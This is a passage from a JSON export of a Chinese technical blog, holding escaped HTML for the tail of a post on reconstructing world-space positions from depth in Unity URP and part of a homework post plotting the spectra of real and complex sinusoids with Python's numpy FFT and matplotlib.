class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eviewRayWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetCameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个方法的矩阵运算在 Vertex Shader 里进行,计算量小一点,但是 URP 的 Blit Vertex Shader 改起来相对麻烦一点。第一种方法只需要改 Fragment Shader 就行了,更好写。\u003c/p\u003e\n\u003ch2 id=\"参考资料\"\u003e参考资料\u003ca class=\"headerlink\" href=\"#参考资料\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://blog.csdn.net/yinfourever/article/details/120935179\"\u003eUnity URP中根据深度重建世界坐标_computeworldspaceposition-CSDN博客\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@14.0/manual/writing-shaders-urp-reconstruct-world-position.html\"\u003eReconstruct the world space positions of pixels from the depth texture | Universal RP | 14.0.11 (unity3d.com)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/depth-reconstruct-world-position/"},{"title":"实信号与复信号的频谱实验","time":"2024-06-17T08:58:05Z","content":"\u003ch1 id=\"实信号与复信号的频谱实验\"\u003e实信号与复信号的频谱实验\u003ca class=\"headerlink\" href=\"#实信号与复信号的频谱实验\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大二下,信号与系统作业。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e画出 \u003cspan class=\"arithmatex\"\u003e\\(\\cos(\\omega_0 t + \\phi)\\)\u003c/span\u003e 的频谱,其中 \u003cspan class=\"arithmatex\"\u003e\\(\\omega_0\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(1,3,6\\)\u003c/span\u003e;\u003cspan class=\"arithmatex\"\u003e\\(\\phi\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(15^\\circ, -30^\\circ, 60^\\circ\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e画出 \u003cspan class=\"arithmatex\"\u003e\\(\\exp(j(\\omega_0 t + \\phi))\\)\u003c/span\u003e 的频谱,其中 \u003cspan class=\"arithmatex\"\u003e\\(\\omega_0\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(1,3,6\\)\u003c/span\u003e;\u003cspan class=\"arithmatex\"\u003e\\(\\phi\\)\u003c/span\u003e 的数值分别为 \u003cspan class=\"arithmatex\"\u003e\\(15^\\circ, -30^\\circ, 60^\\circ\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e将第二问中的 3 个复信号两两组合,写出获得的 3 个信号的表达式,分别画出其实部信号的频谱。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"../../../obsidian-vault/attachments/files/SignalSpectrum.ipynb\"\u003e打开 Jupyter Notebook 版\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前置准备\"\u003e前置准备\u003ca class=\"headerlink\" href=\"#前置准备\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e# 导入必要的库\u003c/span\u003e\n\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003enumpy\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003enp\u003c/span\u003e\n\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ematplotlib.pyplot\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003eplt\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 题目中的 omega 和 phi 的取值\u003c/span\u003e\n\u003cspan class=\"n\"\u003eomega_values\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"n\"\u003ephi_values\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eradians\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e因为题目给的函数对应的 \u003cspan class=\"arithmatex\"\u003e\\(F(j\\omega)\\)\u003c/span\u003e 只在某几个点处有取值,所以可以用 DFT 计算它。\u003c/p\u003e\n\u003cp\u003e先在一个周期 \u003cspan class=\"arithmatex\"\u003e\\([0, 2\\pi)\\)\u003c/span\u003e 里以 \u003cspan class=\"arithmatex\"\u003e\\(1000\\)\u003c/span\u003e 的采样率进行均匀采样,把函数 \u003cspan class=\"arithmatex\"\u003e\\(f\\)\u003c/span\u003e 离散化,再用 FFT 算法计算其 DFT。需要注意的是,由于采样率为 \u003cspan class=\"arithmatex\"\u003e\\(1000\\)\u003c/span\u003e,所以实际上是在对 \u003cspan class=\"arithmatex\"\u003e\\(f \\left(\\dfrac{k}{1000} \\right)\\)\u003c/span\u003e 做 DFT,算出来的结果需要除掉采样率做修正。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epi\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 一个周期\u003c/span\u003e\n\u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 采样率\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 对函数进行傅里叶变换\u003c/span\u003e\n\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003ecompute_fourier_transform\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elinspace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eTOTAL_TIME\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eendpoint\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003esamples\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efftfreq\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esamples\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e \u003cspan class=\"o\"\u003e*=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epi\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 转换为角频率\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003edft\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efft\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esamples\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003eSAMPLE_RATE\u003c/span\u003e\n \u003cspan class=\"n\"\u003enonzero\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewhere\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edft\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mf\"\u003e1e-10\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003enonzero\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"n\"\u003edft\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003enonzero\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e下面写了一个 \u003ccode\u003eplot_signals\u003c/code\u003e 函数,用于同时绘制多个信号的频谱。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"fm\"\u003e__init__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\n \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 关于时间的函数\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e# 绘制频谱图\u003c/span\u003e\n\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eplot_signals\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eSignalInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e]):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efigure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efigsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esig\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003eenumerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003evalues\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecompute_fourier_transform\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esig\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalues\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003ephase\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003enp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eangle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalues\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003edeg\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e# 绘制幅度\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubplot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esig\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eylabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Magnitude\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egrid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003emagnitude\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eannotate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e.2f\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eha\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eva\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;red\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e# 绘制相位\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubplot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esignals\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephase\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exlabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Angular Frequency (rad/s)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eylabel\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003er\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Phase (deg)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egrid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efreq\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ephase\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n \u003cspan class=\"n\"\u003eplt\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eannotate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"si\"\u003e:\u003c/span\u003e\u003cspan class=\"s1\"\u003e.2f\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003eha\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;center\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eva\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;red\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\n 